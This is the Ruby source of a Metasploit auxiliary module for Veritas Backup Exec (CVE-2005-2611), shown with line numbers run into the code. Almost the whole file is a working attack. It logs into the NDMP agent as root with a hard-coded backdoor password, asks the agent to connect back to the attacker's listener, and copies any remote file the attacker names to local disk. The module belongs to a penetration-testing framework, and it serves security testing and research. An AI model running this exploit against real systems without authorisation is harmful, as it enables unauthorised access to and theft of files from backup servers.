Path: blob/master/modules/auxiliary/admin/backupexec/dump.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::NDMP78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Veritas Backup Exec Windows Remote File Access',13'Description' => %q{14This module abuses a logic flaw in the Backup Exec Windows Agent to download15arbitrary files from the system. This flaw was found by someone who wishes to16remain anonymous and affects all known versions of the Backup Exec Windows Agent. The17output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program18listed in the references section. To transfer an entire directory, specify a19path that includes a trailing backslash.20},21'Author' => [ 'hdm', 'Unknown' ],22'License' => MSF_LICENSE,23'References' => [24['CVE', '2005-2611'],25['OSVDB', '18695'],26['BID', '14551'],27['URL', 'https://web.archive.org/web/20120227144337/http://www.fpns.net/willy/msbksrc.lzh'],28],29'Actions' => [30['Download', { 'Description' => 'Download arbitrary file' }]31],32'DefaultAction' => 'Download',33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [IOC_IN_LOGS],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(10000),44OptAddressLocal.new(45'LHOST',46[47false,48'The local IP address to accept the data connection'49]50),51OptPort.new(52'LPORT',53[54false,55'The local port to accept the data connection'56]57),58OptString.new(59'RPATH',60[61true,62'The remote filesystem path to download',63'C:\\Windows\\win.ini'64]65),66OptString.new(67'LPATH',68[69true,70'The local filename to store the exported data',71'backupexec_dump.mtf'72]73),74]75)76end7778def run79print_status("Attempting to retrieve #{datastore['RPATH']}...")8081lfd = File.open(datastore['LPATH'], 'wb')8283connect84data = ndmp_recv85if !data86print_error('Did not receive a response from the agent')87disconnect88return89end9091username = 'root'92password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"9394#95# Authenticate using the backdoor password96#97auth = [981,99Time.now.to_i,1000,1010x0901,1020,1030,1042,105username.length,106username,107password108].pack('NNNNNNNNA*A*')109110print_status('Sending magic authentication request...')111ndmp_send(auth)112data = ndmp_recv113if !data114print_error('Did not receive a response to our authentication request')115disconnect116return117end118119#120# Create our listener for the data connection121#122print_status('Starting our data listener...')123sfd = Rex::Socket.create_tcp_server(124'LocalPort' => datastore['LPORT']125)126127local_addr = datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])128local_port = sfd.getsockname[2]129130#131# Create the DATA_CONNECT request132#133conn = [1343,1350,1360,1370x040a,1380,1390,1401,141Rex::Socket.resolv_nbo(local_addr, false),142local_port143].pack('NNNNNNNA4N')144145print_status('Sending data connection request...')146ndmp_send(conn)147data = ndmp_recv148if !data149print_error('Did not receive a response to our data connection request')150sfd.close151disconnect152return153end154155#156# Wait for the agent to connect back157#158print_status('Waiting for the data connection...')159rfd = sfd.accept160sfd.close161162#163# Create the Mover Set Record Size request164#165msrs = [1664,1670,1680,1690x0a08,1700,1710,1720x8000173].pack('NNNNNNN')174175print_status('Sending transfer parameters...')176ndmp_send(msrs)177data = ndmp_recv178if !data179print_error('Did not receive a response to our parameters request')180disconnect181return182end183184#185# Define our transfer parameters186#187xenv =188[189['USERNAME', ''],190['BU_EXCLUDE_ACTIVE_FILES', '0'],191['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"]192]193194#195# Create the DATA_START_BACKUP request196#197bkup = [1985,1990,2000,2010x0401,2020,2030,2044205].pack('NNNNNNN')206bkup += 'dump'207bkup += [ xenv.length ].pack('N')208209#210# Encode the transfer parameters211#212xenv.each do |e|213k, v = e214215# Variable216bkup += [k.length].pack('N')217bkup += k218bkup += Rex::Encoder::NDR.align(k)219220# Value221bkup += [v.length].pack('N')222bkup += v223bkup += Rex::Encoder::NDR.align(v)224end225226bkup[-1, 1] = "\x01"227228print_status('Sending backup request...')229ndmp_send(bkup)230data = ndmp_recv231if !data232print_error('Did not receive a response to our backup request')233disconnect234return235end236237#238# Create the GET_ENV request239#240genv = [2415,2420,2430,2440x4004,2450,2460247].pack('NNNNNN')248249print_status('Sending environment request...')250ndmp_send(genv)251data = ndmp_recv252if !data253print_error('Did not receive a response to our environment request')254disconnect255return256end257258#259# Start transferring data260#261print_status('Transferring data...')262bcnt = 0263264begin265while (data = rfd.get_once)266bcnt += data.length267lfd.write(data)268end269rescue ::EOFError => e270vprint_error(e.message)271end272273lfd.close274rfd.close275276print_status("Transferred #{bcnt} bytes.")277disconnect278end279end280281282